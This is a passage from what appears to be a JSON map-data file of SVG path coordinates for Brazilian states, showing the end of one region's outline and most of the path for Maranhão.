70930.00C162521.00 70908.33 162521.00 70886.67 162521.00 70865.00C162499.67 70843.67 162478.33 70822.33 162457.00 70801.00C162457.00 70758.00 162457.00 70715.00 162457.00 70672.00C162446.33 70672.00 162435.67 70672.00 162425.00 70672.00C162403.67 70650.67 162382.33 70629.33 162361.00 70608.00C162361.00 70586.67 162361.00 70565.33 162361.00 70544.00C162318.00 70554.67 162275.00 70565.33 162232.00 70576.00C162210.67 70576.00 162189.33 70576.00 162168.00 70576.00C162168.00 70554.67 162168.00 70533.33 162168.00 70512.00C162135.67 70501.00 162103.33 70490.00 162071.00 70479.00C162049.67 70490.00 162028.33 70501.00 162007.00 70512.00C161996.33 70512.00 161985.67 70512.00 161975.00 70512.00C161942.67 70533.33 161910.33 70554.67 161878.00 70576.00C161856.67 70565.33 161835.33 70554.67 161814.00 70544.00C161824.67 70501.00 161835.33 70458.00 161846.00 70415.00C161835.33 70372.33 161824.67 70329.67 161814.00 70287.00C161749.67 70287.00 161685.33 70287.00 161621.00 70287.00C161610.33 70297.67 161599.67 70308.33 161589.00 70319.00C161589.00 70308.33 161589.00 70297.67 161589.00 70287.00C161557.00 70287.00 161525.00 70287.00 161493.00 70287.00C161482.00 70265.33 161471.00 70243.67 161460.00 70222.00C161449.33 70211.33 161438.67 70200.67 161428.00 70190.00C161428.00 70179.33 161428.00 70168.67 161428.00 70158.00C161417.33 70147.33 161406.67 70136.67 161396.00 70126.00C161385.33 70104.67 161374.67 70083.33 161364.00 70062.00C161364.00 70051.00 161364.00 70040.00 161364.00 70029.00C161374.67 70018.33 161385.33 70007.67 161396.00 69997.00C161396.00 69986.33 161396.00 69975.67 161396.00 69965.00C161406.67 69943.67 161417.33 69922.33 161428.00 69901.00C161353.00 69911.67 161278.00 69922.33 161203.00 69933.00C161192.33 69922.33 161181.67 69911.67 161171.00 69901.00C161160.33 69911.67 161149.67 69922.33 161139.00 69933.00C161128.33 69922.33 161117.67 69911.67 161107.00 69901.00C161096.33 69911.67 161085.67 69922.33 161075.00 69933.00C161064.00 69922.33 161053.00 69911.67 161042.00 69901.00C161031.33 69911.67 161020.67 69922.33 161010.00 69933.00C160978.00 69922.33 160946.00 69911.67 160914.00 69901.00C160903.33 69901.00 160892.67 69901.00 160882.00 69901.00C160871.33 69911.67 160860.67 69922.33 160850.00 69933.00C160850.00 69943.67 160850.00 69954.33 160850.00 69965.00C160817.67 69965.00 160785.33 69965.00 160753.00 69965.00C160731.67 69986.33 160710.33 70007.67 160689.00 70029.00C160667.33 70040.00 160645.67 70051.00 160624.00 70062.00C160613.33 70062.00 160602.67 70062.00 160592.00 70062.00C160560.00 70040.33 160528.00 70018.67 160496.00 69997.00C160463.67 69997.00 160431.33 69997.00 160399.00 69997.00C160356.33 69965.00 160313.67 69933.00 160271.00 69901.00z"},"br-10":{"name":"Maranhão","path":"M125256.00 53503.00C125566.67 53245.67 125877.33 52988.33 126188.00 52731.00C126338.00 52623.67 126488.00 52516.33 126638.00 52409.00C126649.00 52387.67 126660.00 52366.33 126671.00 52345.00C126703.00 52323.67 126735.00 52302.33 126767.00 52281.00C126756.33 52259.33 126745.67 52237.67 126735.00 52216.00C126745.67 52205.33 126756.33 52194.67 126767.00 52184.00C126777.67 52184.00 126788.33 52184.00 126799.00 52184.00C126809.67 52194.67 126820.33 52205.33 126831.00 52216.00C126863.53 52194.49 126896.16 52173.11 126928.63 52151.51C127228.42 51916.01 127528.21 51680.50 127828.00 51445.00C127849.56 51423.18 127870.96 51401.21 127892.61 51379.49C128074.74 51229.66 128256.87 51079.83 128439.00 50930.00C128471.52 50908.48 128504.17 50887.12 128536.62 50865.50C128590.96 50821.63 128645.41 50777.91 128699.67 50733.95C128827.54 50627.65 128955.34 50521.26 129083.25 50415.01C129286.50 50254.68 129489.75 50094.34 129693.00 49934.00C129714.45 49901.59 129735.73 49869.04 129757.28 49836.72C129778.86 49815.48 129800.43 49794.24 129822.00 49773.00C129854.00 49783.67 129886.00 49794.33 129918.00 49805.00C129939.33 49805.00 129960.67 49805.00 129982.00 49805.00C129993.00 49826.33 130004.00 49847.67 130015.00 49869.00C130025.67 49858.33 130036.33 49847.67 130047.00 49837.00C130068.33 49847.67 130089.67 49858.33 130111.00 49869.00C130154.00 49869.00 130197.00 49869.00 130240.00 49869.00C130272.00 49879.67 130304.00 49890.33 130336.00 49901.00C130379.00 49869.00 130422.00 49837.00 130465.00 49805.00C130486.33 49773.00 130507.67 49741.00 130529.00 49709.00C130559.80 49693.21 130590.39 49676.98 130621.56 49661.94C130633.78 49655.83 130646.19 49650.00 130658.28 49643.72C130669.07 49632.80 130680.12 49622.13 130690.74 49611.07C130733.16 49557.71 130775.58 49504.36 130818.00 49451.00C130839.67 49386.67 130861.33 49322.33 130883.00 49258.00C130936.33 49204.67 130989.67 49151.33 131043.00 49098.00C131086.12 49033.75 131129.12 48969.41 131172.00 48905.00C131172.00 48883.33 131172.00 48861.67 131172.00 48840.00C131193.33 48818.67 131214.67 48797.33 131236.00 48776.00C131236.00 48754.67 131236.00 48733.33 131236.00 48712.00C131257.67 48690.33 131279.33 48668.67 131301.00 48647.00C131290.33 48647.00 131279.67 48647.00 131269.00 48647.00C131279.67 48625.67 131290.33 48604.33 131301.00 48583.00C131301.00 48561.67 131301.00 48540.33 131301.00 48519.00C131311.67 48508.33 131322.33 48497.67 131333.00 48487.00C131322.33 48476.33 131311.67 48465.67 131301.00 48455.00C131343.67 48433.33 131386.33 48411.67 131429.00 48390.00C131439.67 48368.67 131450.33 48347.33 131461.00 48326.00C131482.67 48326.00 131504.33 48326.00 131526.00 48326.00C131526.00 48304.67 131526.00 48283.33 131526.00 48262.00C131547.33 48272.67 131568.67 48283.33 131590.00 48294.00C131600.67 48272.33 131611.33 48250.67 131622.00 48229.00C131632.67 48229.00 131643.33 48229.00 131654.00 48229.00C131675.67 48197.00 131697.33 48165.00 131719.00 48133.00C131740.33 48133.00 131761.67 48133.00 131783.00 48133.00C131772.33 48090.00 131761.67 48047.00 131751.00 48004.00C131761.67 48004.00 131772.33 48004.00 131783.00 48004.00C131783.00 47993.33 131783.00 47982.67 131783.00 47972.00C131793.67 47961.33 131804.33 47950.67 131815.00 47940.00C131815.00 47918.67 131815.00 47897.33 131815.00 47876.00C131825.67 47865.33 131836.33 47854.67 131847.00 47844.00C131836.33 47833.00 131825.67 47822.00 131815.00 47811.00C131836.33 47800.33 131857.67 47789.67 131879.00 47779.00C131890.00 47789.67 131901.00 47800.33 131912.00 47811.00C131922.67 47800.33 131933.33 47789.67 131944.00 47779.00C131944.00 47768.33 131944.00 47757.67 131944.00 47747.00C131933.33 47725.67 131922.67 47704.33 131912.00 47683.00C131922.67 47672.33 131933.33 47661.67 131944.00 47651.00C131933.33 47640.33 131922.67 47629.67 131912.00 47619.00C131912.00 47597.33 131912.00 47575.67 131912.00 47554.00C131901.00 47532.67 131890.00 47511.33 131879.00 47490.00C131890.00 47479.33 131901.00 47468.67 131912.00 47458.00C131912.00 47447.33 131912.00 47436.67 131912.00 47426.00C131933.33 47404.33 131954.67 47382.67 131976.00 47361.00C131976.00 47329.00 131976.00 47297.00 131976.00 47265.00C131986.67 47265.00 131997.33 47265.00 132008.00 47265.00C132008.00 47243.67 132008.00 47222.33 132008.00 47201.00C132018.67 47190.00 132029.33 47179.00 132040.00 47168.00C132061.67 47168.00 132083.33 47168.00 132105.00 47168.00C132094.00 47179.00 132083.00 47190.00 132072.00 47201.00C132083.00 47201.00 132094.00 47201.00 132105.00 47201.00C132105.00 47190.00 132105.00 47179.00 132105.00 47168.00C132126.33 47168.00 132147.67 47168.00 132169.00 47168.00C132169.00 47157.33 132169.00 47146.67 132169.00 47136.00C132179.67 47136.00 132190.33 47136.00 132201.00 47136.00C132201.00 47125.33 132201.00 47114.67 132201.00 47104.00C132211.67 47093.33 132222.33 47082.67 132233.00 47072.00C132254.33 47072.00 132275.67 47072.00 132297.00 47072.00C132297.00 47061.33 132297.00 47050.67 132297.00 47040.00C132329.33 47018.33 132361.67 46996.67 132394.00 46975.00C132404.67 46953.67 132415.33 46932.33 132426.00 46911.00C132458.33 46911.00 132490.67 46911.00 132523.00 46911.00C132533.67 46889.67 132544.33 46868.33 132555.00 46847.00C132565.67 46847.00 132576.33 46847.00 132587.00 46847.00C132597.67 46825.67 132608.33 46804.33 132619.00 46783.00C132629.67 46793.67 132640.33 46804.33 132651.00 46815.00C132651.00 46793.33 132651.00 46771.67 132651.00 46750.00C132661.67 46750.00 132672.33 46750.00 132683.00 46750.00C132683.00 46718.00 132683.00 46686.00 132683.00 46654.00C132693.67 46654.00 132704.33 46654.00 132715.00 46654.00C132726.00 46643.33 132737.00 46632.67 132748.00 46622.00C132748.00 46589.67 132748.00 46557.33 132748.00 46525.00C132769.33 46514.33 132790.67 46503.67 132812.00 46493.00C132833.33 46471.67 132854.67 46450.33 132876.00 46429.00C132886.67 46439.67 132897.33 46450.33 132908.00 46461.00C132908.00 46418.00 132908.00 46375.00 132908.00 46332.00C132951.00 46332.00 132994.00 46332.00 133037.00 46332.00C133047.67 46300.00 133058.33 46268.00 133069.00 46236.00C133090.33 46225.33 133111.67 46214.67 133133.00 46204.00C133144.00 46182.33 133155.00 46160.67 133166.00 46139.00C133155.00 46117.67 133144.00 46096.33 133133.00 46075.00C133154.67 46064.33 133176.33 46053.67 133198.00 46043.00C133198.00 46011.00 133198.00 45979.00 133198.00 45947.00C133219.33 45936.00 133240.67 45925.00 133262.00 45914.00C133262.00 45860.67 133262.00 45807.33 133262.00 45754.00C133272.67 45732.33 133283.33 45710.67 133294.00 45689.00C133294.00 45667.67 133294.00 45646.33 133294.00 45625.00C133283.33 45614.33 133272.67 45603.67 133262.00 45593.00C133283.33 45582.33 133304.67 45571.67 133326.00 45561.00C133325.94 45539.21 133326.13 45517.39 133325.90 45495.61C133315.27 45453.08 133304.63 45410.54 133294.00 45368.00C133326.33 45346.33 133358.67 45324.67 133391.00 45303.00C133380.33 45292.33 133369.67 45281.67 133359.00 45271.00C133348.00 45281.67 133337.00 45292.33 133326.00 45303.00C133326.00 45281.67 133326.00 45260.33 133326.00 45239.00C133315.33 45228.33 133304.67 45217.67 133294.00 45207.00C133304.67 45207.00 133315.33 45207.00 133326.00 45207.00C133337.00 45196.33 133348.00 45185.67 133359.00 45175.00C133348.00 45164.33 133337.00 45153.67 133326.00 45143.00C133337.00 45143.00 133348.00 45143.00 133359.00 45143.00C133348.00 45143.00 133337.00 45143.00 133326.00 45143.00C133337.00 45132.33 133348.00 45121.67 133359.00 45111.00C133348.00 45100.00 133337.00 45089.00 133326.00 45078.00C133337.02 45067.19 133348.33 45056.59 133359.18 45045.64C133369.79 45024.43 133380.39 45003.21 133391.00 44982.00C133401.67 44982.00 133412.33 44982.00 133423.00 44982.00C133412.33 44960.67 133401.67 44939.33 133391.00 44918.00C133401.67 44907.33 133412.33 44896.67 133423.00 44886.00C133412.33 44875.00 133401.67 44864.00 133391.00 44853.00C133391.00 44831.67 133391.00 44810.33 133391.00 44789.00C133412.33 44789.00 133433.67 44789.00 133455.00 44789.00C133455.00 44767.67 133455.00 44746.33 133455.00 44725.00C133476.33 44714.33 133497.67 44703.67 133519.00 44693.00C133519.00 44682.00 133519.00 44671.00 133519.00 44660.00C133540.67 44660.00 133562.33 44660.00 133584.00 44660.00C133594.81 44649.31 133605.42 44638.34 133616.36 44627.82C133637.57 44617.21 133658.79 44606.61 133680.00 44596.00C133669.33 44585.33 133658.67 44574.67 133648.00 44564.00C133669.33 44564.00 133690.67 44564.00 133712.00 44564.00C133690.67 44531.67 133669.33 44499.33 133648.00 44467.00C133648.00 44456.33 133648.00 44445.67 133648.00 44435.00C133669.33 44435.00 133690.67 44435.00 133712.00 44435.00C133712.00 44445.67 133712.00 44456.33 133712.00 44467.00C133722.67 44467.00 133733.33 44467.00 133744.00 44467.00C133733.33 44424.33 133722.67 44381.67 133712.00 44339.00C133744.33 44349.67 133776.67 44360.33 133809.00 44371.00C133809.00 44349.67 133809.00 44328.33 133809.00 44307.00C133798.00 44307.00 133787.00 44307.00 133776.00 44307.00C133776.00 44296.33 133776.00 44285.67 133776.00 44275.00C133787.00 44275.00 133798.00 44275.00 133809.00 44275.00C133798.00 44264.00 133787.00 44253.00 133776.00 44242.00C133797.67 44242.00 133819.33 44242.00 133841.00 44242.00C133830.33 44220.67 133819.67 44199.33 133809.00 44178.00C133798.00 44178.00 133787.00 44178.00 133776.00 44178.00C133776.00 44156.67 133776.00 44135.33 133776.00 44114.00C133787.00 44114.00 133798.00 44114.00 133809.00 44114.00C133809.00 44103.33 133809.00 44092.67 133809.00 44082.00C133809.00 44092.67 133809.00 44103.33 133809.00 44114.00C133819.67 44103.33 133830.33 44092.67 133841.00 44082.00C133830.33 44060.33 133819.67 44038.67 133809.00 44017.00C133809.00 43995.67 133809.00 43974.33 133809.00 43953.00C133819.67 43953.00 133830.33 43953.00 133841.00 43953.00C133841.00 43921.00 133841.00 43889.00 133841.00 43857.00C133851.67 43867.67 133862.33 43878.33 133873.00 43889.00C133892.63 43869.48 133912.16 43849.85 133931.32 43829.86C133933.21 43827.91 133935.11 43825.95 133937.00 43824.00C133926.33 43824.00 133915.67 43824.00 133905.00 43824.00C133915.67 43824.00 133926.33 43824.00 133937.00 43824.00C133947.67 43813.33 133958.33 43802.67 133969.00 43792.00C133980.00 43802.67 133991.00 43813.33 134002.00 43824.00C134002.00 43813.33 134002.00 43802.67 134002.00 43792.00C134012.67 43792.00 134023.33 43792.00 134034.00 43792.00C134034.00 43781.33 134034.00 43770.67 134034.00 43760.00C134023.33 43760.00 134012.67 43760.00 134002.00 43760.00C134034.00 43728.00 134066.00 43696.00 134098.00 43664.00C134108.67 43674.67 134119.33 43685.33 134130.00 43696.00C134130.00 43706.67 134130.00 43717.33 134130.00 43728.00C134151.33 43717.33 134172.67 43706.67 134194.00 43696.00C134194.00 43685.33 134194.00 43674.67 134194.00 43664.00C134183.33 43653.00 134172.67 43642.00 134162.00 43631.00C134172.67 43631.00 134183.33 43631.00 134194.00 43631.00C134205.00 43652.67 134216.00 43674.33 134227.00 43696.00C134237.67 43696.00 134248.33 43696.00 134259.00 43696.00C134259.00 43663.67 134259.00 43631.33 134259.00 43599.00C134280.33 43609.67 134301.67 43620.33 134323.00 43631.00C134333.67 43609.67 134344.33 43588.33 134355.00 43567.00C134387.33 43567.00 134419.67 43567.00 134452.00 43567.00C134452.00 43545.67 134452.00 43524.33 134452.00 43503.00C134430.33 43492.33 134408.67 43481.67 134387.00 43471.00C134408.67 43449.33 134430.33 43427.67 134452.00 43406.00C134430.33 43384.67 134408.67 43363.33 134387.00 43342.00C134419.33 43342.00 134451.67 43342.00 134484.00 43342.00C134484.00 43299.33 134484.00 43256.67 134484.00 43214.00C134494.67 43203.00 134505.33 43192.00 134516.00 43181.00C134526.67 43192.00 134537.33 43203.00 134548.00 43214.00C134558.67 43214.00 134569.33 43214.00 134580.00 43214.00C134590.67 43192.33 134601.33 43170.67 134612.00 43149.00C134601.33 43138.33 134590.67 43127.67 134580.00 43117.00C134590.67 43106.33 134601.33 43095.67 134612.00 43085.00C134633.67 43085.00 134655.33 43085.00 134677.00 43085.00C134687.67 43095.67 134698.33 43106.33 134709.00 43117.00C134709.00 43095.67 134709.00 43074.33 134709.00 43053.00C134687.67 43042.33 134666.33 43031.67 134645.00 43021.00C134666.33 43010.00 134687.67 42999.00 134709.00 42988.00C134709.00 42977.33 134709.00 42966.67 134709.00 42956.00C134676.67 42934.67 134644.33 42913.33 134612.00 42892.00C134633.67 42892.00 134655.33 42892.00 134677.00 42892.00C134698.33 42913.33 134719.67 42934.67 134741.00 42956.00C134751.67 42945.33 134762.33 42934.67 134773.00 42924.00C134762.33 42892.00 134751.67 42860.00 134741.00 42828.00C134773.33 42828.00 134805.67 42828.00 134838.00 42828.00C134848.67 42806.33 134859.33 42784.67 134870.00 42763.00C134859.33 42752.33 134848.67 42741.67 134838.00 42731.00C134838.00 42709.67 134838.00 42688.33 134838.00 42667.00C134816.33 42677.67 134794.67 42688.33 134773.00 42699.00C134762.33 42677.67 134751.67 42656.33 134741.00 42635.00C134773.33 42635.00 134805.67 42635.00 134838.00 42635.00C134848.67 42613.33 134859.33 42591.67 134870.00 42570.00C134880.67 42570.00 134891.33 42570.00 134902.00 42570.00C134902.00 42602.33 134902.00 42634.67 134902.00 42667.00C134912.67 42667.00 134923.33 42667.00 134934.00 42667.00C134944.67 42656.33 134955.33 42645.67 134966.00 42635.00C134955.33 42592.00 134944.67 42549.00 134934.00 42506.00C134966.00 42495.33 134998.00 42484.67 135030.00 42474.00C135041.00 42484.67 135052.00 42495.33 135063.00 42506.00C135063.00 42474.00 135063.00 42442.00 135063.00 42410.00C135073.67 42399.33 135084.33 42388.67 135095.00 42378.00C135084.33 42356.33 135073.67 42334.67 135063.00 42313.00C135063.00 42281.00 135063.00 42249.00 135063.00 42217.00C135084.33 42206.33 135105.67 42195.67 135127.00 42185.00C135116.33 42174.33 135105.67 42163.67 135095.00 42153.00C135116.33 42131.33 135137.67 42109.67 135159.00 42088.00C135137.67 42077.33 135116.33 42066.67 135095.00 42056.00C135095.00 42045.33 135095.00 42034.67 135095.00 42024.00C135105.67 42013.33 135116.33 42002.67 135127.00 41992.00C135148.33 42002.67 135169.67 42013.33 135191.00 42024.00C135201.67 42002.67 135212.33 41981.33 135223.00 41960.00C135212.33 41949.00 135201.67 41938.00 135191.00 41927.00C135180.33 41927.00 135169.67 41927.00 135159.00 41927.00C135159.00 41916.33 135159.00 41905.67 135159.00 41895.00C135180.33 41895.00 135201.67 41895.00 135223.00 41895.00C135223.00 41884.33 135223.00 41873.67 135223.00 41863.00C135212.33 41852.33 135201.67 41841.67 135191.00 41831.00C135169.67 41831.00 135148.33 41831.00 135127.00 41831.00C135127.00 41798.67 135127.00 41766.33 135127.00 41734.00C135148.33 41723.33 135169.67 41712.67 135191.00 41702.00C135191.00 41691.33 135191.00 41680.67 135191.00 41670.00C135180.31 41659.19 135169.34 41648.58 135158.82 41637.64C135148.21 41616.43 135137.61 41595.21 135127.00 41574.00C135137.67 41574.00 135148.33 41574.00 135159.00 41574.00C135137.67 41552.33 135116.33 41530.67 135095.00 41509.00C135084.33 41509.00 135073.67 41509.00 135063.00 41509.00C135063.00 41498.33 135063.00 41487.67 135063.00 41477.00C135084.33 41466.33 135105.67 41455.67 135127.00 41445.00C135148.33 41445.00 135169.67 41445.00 135191.00 41445.00C135201.67 41455.67 135212.33 41466.33 135223.00 41477.00C135243.00 41457.70 135262.91 41438.32 135282.45 41418.55C135284.30 41416.70 135286.15 41414.85 135288.00 41413.00C135277.33 41413.00 135266.67 41413.00 135256.00 41413.00C135256.00 41402.33 135256.00 41391.67 135256.00 41381.00C135266.67 41370.33 135277.33 41359.67 135288.00 41349.00C135277.33 41338.33 135266.67 41327.67 135256.00 41317.00C135266.67 41317.00 135277.33 41317.00 135288.00 41317.00C135309.33 41327.67 135330.67 41338.33 135352.00 41349.00C135373.33 41338.33 135394.67 41327.67 135416.00 41317.00C135405.33 41306.00 135394.67 41295.00 135384.00 41284.00C135384.00 41273.33 135384.00 41262.67 135384.00 41252.00C135373.33 41252.00 135362.67 41252.00 135352.00 41252.00C135362.67 41241.33 135373.33 41230.67 135384.00 41220.00C135405.33 41220.00 135426.67 41220.00 135448.00 41220.00C135469.67 41241.33 135491.33 41262.67 135513.00 41284.00C135523.67 41273.33 135534.33 41262.67 135545.00 41252.00C135555.67 41252.00 135566.33 41252.00 135577.00 41252.00C135555.67 41241.33 135534.33 41230.67 135513.00 41220.00C135523.67 41220.00 135534.33 41220.00 135545.00 41220.00C135545.00 41209.33 135545.00 41198.67 135545.00 41188.00C135523.67 41198.67 135502.33 41209.33 135481.00 41220.00C135481.00 41209.33 135481.00 41198.67 135481.00 41188.00C135491.67 41188.00 135502.33 41188.00 135513.00 41188.00C135502.33 41177.33 135491.67 41166.67 135481.00 41156.00C135470.00 41156.00 135459.00 41156.00 135448.00 41156.00C135448.00 41102.33 135448.00 41048.67 135448.00 40995.00C135437.33 40995.00 135426.67 40995.00 135416.00 40995.00C135416.00 41005.67 135416.00 41016.33 135416.00 41027.00C135405.19 41037.69 135394.58 41048.66 135383.64 41059.18C135362.43 41069.79 135341.21 41080.39 135320.00 41091.00C135309.33 41069.67 135298.67 41048.33 135288.00 41027.00C135288.00 40962.67 135288.00 40898.33 135288.00 40834.00C135277.33 40834.00 135266.67 40834.00 135256.00 40834.00C135245.00 40844.67 135234.00 40855.33 135223.00 40866.00C135212.33 40834.00 135201.67 40802.00 135191.00 40770.00C135191.00 40748.67 135191.00 40727.33 135191.00 40706.00C135169.67 40716.67 135148.33 40727.33 135127.00 40738.00C135127.00 40727.33 135127.00 40716.67 135127.00 40706.00C135116.33 40684.33 135105.67 40662.67 135095.00 40641.00C135116.33 40609.00 135137.67 40577.00 135159.00 40545.00C135180.33 40534.33 135201.67 40523.67 135223.00 40513.00C135223.00 40502.33 135223.00 40491.67 135223.00 40481.00C135244.67 40491.67 135266.33 40502.33 135288.00 40513.00C135288.00 40491.33 135288.00 40469.67 135288.00 40448.00C135309.33 40437.33 135330.67 40426.67 135352.00 40416.00C135352.00 40384.00 135352.00 40352.00 135352.00 40320.00C135362.67 40309.33 135373.33 40298.67 135384.00 40288.00C135394.67 40288.00 135405.33 40288.00 135416.00 40288.00C135437.67 40330.67 135459.33 40373.33 135481.00 40416.00C135491.67 40405.33 135502.33 40394.67 135513.00 40384.00C135513.00 40341.00 135513.00 40298.00 135513.00 40255.00C135534.33 40244.33 135555.67 40233.67 135577.00 40223.00C135609.00 40223.00 135641.00 40223.00 135673.00 40223.00C135694.81 40212.34 135716.53 40201.42 135738.39 40190.92C135791.93 40180.28 135845.46 40169.64 135899.00 40159.00C135888.00 40116.00 135877.00 40073.00 135866.00 40030.00C135887.67 40019.33 135909.33 40008.67 135931.00 39998.00C135941.67 39998.00 135952.33 39998.00 135963.00 39998.00C135973.67 39976.67 135984.33 39955.33 135995.00 39934.00C135973.67 39912.67 135952.33 39891.33 135931.00 39870.00C135931.00 39848.33 135931.00 39826.67 135931.00 39805.00C135941.67 39794.33 135952.33 39783.67 135963.00 39773.00C135973.67 39773.00 135984.33 39773.00 135995.00 39773.00C136005.67 39783.67 136016.33 39794.33 136027.00 39805.00C136048.79 39804.93 136070.62 39805.14 136092.38 39804.89C136167.26 39783.59 136242.13 39762.30 136317.00 39741.00C136317.00 39730.33 136317.00 39719.67 136317.00 39709.00C136295.33 39698.33 136273.67 39687.67 136252.00 39677.00C136241.33 39666.33 136230.67 39655.67 136220.00 39645.00C136230.67 39623.33 136241.33 39601.67 136252.00 39580.00C136241.33 39558.67 136230.67 39537.33 136220.00 39516.00C136220.00 39494.67 136220.00 39473.33 136220.00 39452.00C136230.67 39430.33 136241.33 39408.67 136252.00 39387.00C136241.33 39387.00 136230.67 39387.00 136220.00 39387.00C136220.00 39312.00 136220.00 39237.00 136220.00 39162.00C136241.33 39140.67 136262.67 39119.33 136284.00 39098.00C136299.79 39067.20 136316.02 39036.61 136331.06 39005.44C136337.04 38993.29 136343.02 38981.15 136349.00 38969.00C136349.00 38958.33 136349.00 38947.67 136349.00 38937.00C136327.33 38926.33 136305.67 38915.67 136284.00 38905.00C136252.00 38948.00 136220.00 38991.00 136188.00 39034.00C136177.33 39034.00 136166.67 39034.00 136156.00 39034.00C136134.67 39023.00 136113.33 39012.00 136092.00 39001.00C136092.00 38969.00 136092.00 38937.00 136092.00 38905.00C136134.75 38872.89 136177.60 38840.90 136220.28 38808.71C136230.85 38797.81 136241.43 38786.90 136252.00 38776.00C136252.00 38722.67 136252.00 38669.33 136252.00 38616.00C136262.67 38605.00 136273.33 38594.00 136284.00 38583.00C136295.00 38529.67 136306.00 38476.33 136317.00 38423.00C136295.33 38401.33 136273.67 38379.67 136252.00 38358.00C136252.00 38347.33 136252.00 38336.67 136252.00 38326.00C136284.33 38315.33 136316.67 38304.67 136349.00 38294.00C136359.67 38315.33 136370.33 38336.67 136381.00 38358.00C136402.33 38369.00 136423.67 38380.00 136445.00 38391.00C136466.33 38380.00 136487.67 38369.00 136509.00 38358.00C136520.00 38326.00 136531.00 38294.00 136542.00 38262.00C136563.33 38262.00 136584.67 38262.00 136606.00 38262.00C136627.33 38251.33 136648.67 38240.67 136670.00 38230.00C136670.00 38219.33 136670.00 38208.67 136670.00 38198.00C136691.67 38155.00 136713.33 38112.00 136735.00 38069.00C136756.33 38047.67 136777.67 38026.33 136799.00 38005.00C136831.00 37994.33 136863.00 37983.67 136895.00 37973.00C136916.67 37951.33 136938.33 37929.67 136960.00 37908.00C136938.33 37897.33 136916.67 37886.67 136895.00 37876.00C136895.00 37865.33 136895.00 37854.67 136895.00 37844.00C136938.00 37801.00 136981.00 37758.00 137024.00 37715.00C137024.00 37683.00 137024.00 37651.00 137024.00 37619.00C137013.33 37597.67 137002.67 37576.33 136992.00 37555.00C136992.00 37522.67 136992.00 37490.33 136992.00 37458.00C137002.67 37436.67 137013.33 37415.33 137024.00 37394.00C137034.72 37383.21 137045.60 37372.55 137056.22 37361.67C137077.48 37329.44 137098.74 37297.22 137120.00 37265.00C137120.00 37233.00 137120.00 37201.00 137120.00 37169.00C137141.67 37115.20 137163.52 37061.45 137185.09 37007.61C137206.39 36911.41 137227.70 36815.20 137249.00 36719.00C137238.33 36676.00 137227.67 36633.00 137217.00 36590.00C137195.67 36590.00 137174.33 36590.00 137153.00 36590.00C137153.00 36579.33 137153.00 36568.67 137153.00 36558.00C137206.33 36483.00 137259.67 36408.00 137313.00 36333.00C137302.33 36311.33 137291.67 36289.67 137281.00 36268.00C137270.31 36257.19 137259.34 36246.58 137248.82 36235.64C137238.21 36214.43 137227.61 36193.21 137217.00 36172.00C137163.33 36161.33 137109.67 36150.67 137056.00 36140.00C137024.00 36150.67 136992.00 36161.33 136960.00 36172.00C136949.33 36172.00 136938.67 36172.00 136928.00 36172.00C136917.00 36161.33 136906.00 36150.67 136895.00 36140.00C136873.67 36161.33 136852.33 36182.67 136831.00 36204.00C136820.33 36193.33 136809.67 36182.67 136799.00 36172.00C136788.33 36118.33 136777.67 36064.67 136767.00 36011.00C136777.67 35968.33 136788.33 35925.67 136799.00 35883.00C136818.30 35863.00 136837.68 35843.09 136857.45 35823.55C136859.47 35821.80 136861.18 35819.28 136863.40 35818.00C136927.60 35818.00 136991.80 35818.00 137056.00 35818.00C137088.33 35807.33 137120.67 35796.67 137153.00 35786.00C137174.33 35796.67 137195.67 35807.33 137217.00 35818.00C137238.33 35818.00 137259.67 35818.00 137281.00 35818.00C137291.67 35807.33 137302.33 35796.67 137313.00 35786.00C137313.00 35775.33 137313.00 35764.67 137313.00 35754.00C137323.67 35743.33 137334.33 35732.67 137345.00 35722.00C137356.12 35721.92 137367.29 35722.17 137378.38 35721.87C137410.25 35711.25 137442.13 35700.63 137474.00 35690.00C137495.33 35668.33 137516.67 35646.67 137538.00 35625.00C137549.00 35603.67 137560.00 35582.33 137571.00 35561.00C137571.00 35539.67 137571.00 35518.33 137571.00 35497.00C137560.00 35486.33 137549.00 35475.67 137538.00 35465.00C137538.00 35422.00 137538.00 35379.00 137538.00 35336.00C137559.67 35303.67 137581.33 35271.33 137603.00 35239.00C137603.00 35228.33 137603.00 35217.67 137603.00 35207.00C137592.33 35196.33 137581.67 35185.67 137571.00 35175.00C137571.00 35164.33 137571.00 35153.67 137571.00 35143.00C137603.00 35132.33 137635.00 35121.67 137667.00 35111.00C137645.67 35014.67 137624.33 34918.33 137603.00 34822.00C137603.00 34800.33 137603.00 34778.67 137603.00 34757.00C137561.51 34716.15 137519.87 34675.44 137479.20 34633.78C137466.80 34621.18 137454.40 34608.59 137442.00 34596.00C137506.33 34542.67 137570.67 34489.33 137635.00 34436.00C137635.00 34425.00 137635.00 34414.00 137635.00 34403.00C137602.67 34381.67 137570.33 34360.33 137538.00 34339.00C137581.00 34307.00 137624.00 34275.00 137667.00 34243.00C137677.67 34200.00 137688.33 34157.00 137699.00 34114.00C137709.67 34103.33 137720.33 34092.67 137731.00 34082.00C137742.07 34049.89 137753.02 34017.72 137764.18 33985.64C137774.78 33964.10 137785.39 33942.55 137796.00 33921.00C137796.00 33910.33 137796.00 33899.67 137796.00 33889.00C137753.00 33899.67 137710.00 33910.33 137667.00 33921.00C137667.00 33878.33 137667.00 33835.67 137667.00 33793.00C137635.00 33793.00 137603.00 33793.00 137571.00 33793.00C137549.33 33739.33 137527.67 33685.67 137506.00 33632.00C137549.00 33589.00 137592.00 33546.00 137635.00 33503.00C137613.67 33460.33 137592.33 33417.67 137571.00 33375.00C137603.00 33342.67 137635.00 33310.33 137667.00 33278.00C137699.33 33267.33 137731.67 33256.67 137764.00 33246.00C137774.67 33246.00 137785.33 33246.00 137796.00 33246.00C137796.00 33256.67 137796.00 33267.33 137796.00 33278.00C137838.67 33267.33 137881.33 33256.67 137924.00 33246.00C137924.00 33181.67 137924.00 33117.33 137924.00 33053.00C137934.67 33042.33 137945.33 33031.67 137956.00 33021.00C137956.00 33042.33 137956.00 33063.67 137956.00 33085.00C137967.00 33074.33 137978.00 33063.67 137989.00 33053.00C137989.00 33031.67 137989.00 33010.33 137989.00 32989.00C137999.67 32967.67 138010.33 32946.33 138021.00 32925.00C138031.67 32925.00 138042.33 32925.00 138053.00 32925.00C138053.00 32957.00 138053.00 32989.00 138053.00 33021.00C138074.33 33053.00 138095.67 33085.00 138117.00 33117.00C138117.00 33106.33 138117.00 33095.67 138117.00 33085.00C138106.33 33063.67 138095.67 33042.33 138085.00 33021.00C138085.00 32967.33 138085.00 32913.67 138085.00 32860.00C138095.67 32838.67 138106.33 32817.33 138117.00 32796.00C138127.67 32796.00 138138.33 32796.00 